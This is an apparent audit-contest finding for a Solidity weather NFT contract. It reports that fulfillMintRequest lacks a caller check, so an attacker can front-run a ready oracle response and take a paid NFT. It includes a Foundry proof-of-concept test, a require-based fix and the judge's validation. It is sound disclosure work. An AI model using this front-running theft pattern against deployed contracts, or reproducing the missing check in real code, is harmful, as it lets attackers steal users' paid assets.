Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unrestricted fulfillMintRequest (No Access Control + Front-Running/Theft).

Description: 'fulfillMintRequest(bytes32 requestId)' is external with no msg.sender check and mints to msg.sender, not the original requester.

Impact: An attacker observing a ready Chainlink Functions response can front-run the legitimate user, calling 'fulfillMintRequest' first and stealing the NFT.

Proof of Concept: Include the following test in the WeatherNftForkTest.t.sol file:

function testFrontRunFulfill() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 tokenId = weatherNft.s_tokenCounter();
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit
);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(,,, reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
address attacker = makeAddr("attacker");
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
assertEq(weatherNft.ownerOf(tokenId), attacker);
}

Recommended Mitigation: Restrict to the oracle or original requester:

function fulfillMintRequest(bytes32 requestId) external {
...
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
+ require(
+ msg.sender == _userMintRequest.user,
+ "Only requester"
+ );
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
...
}
Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.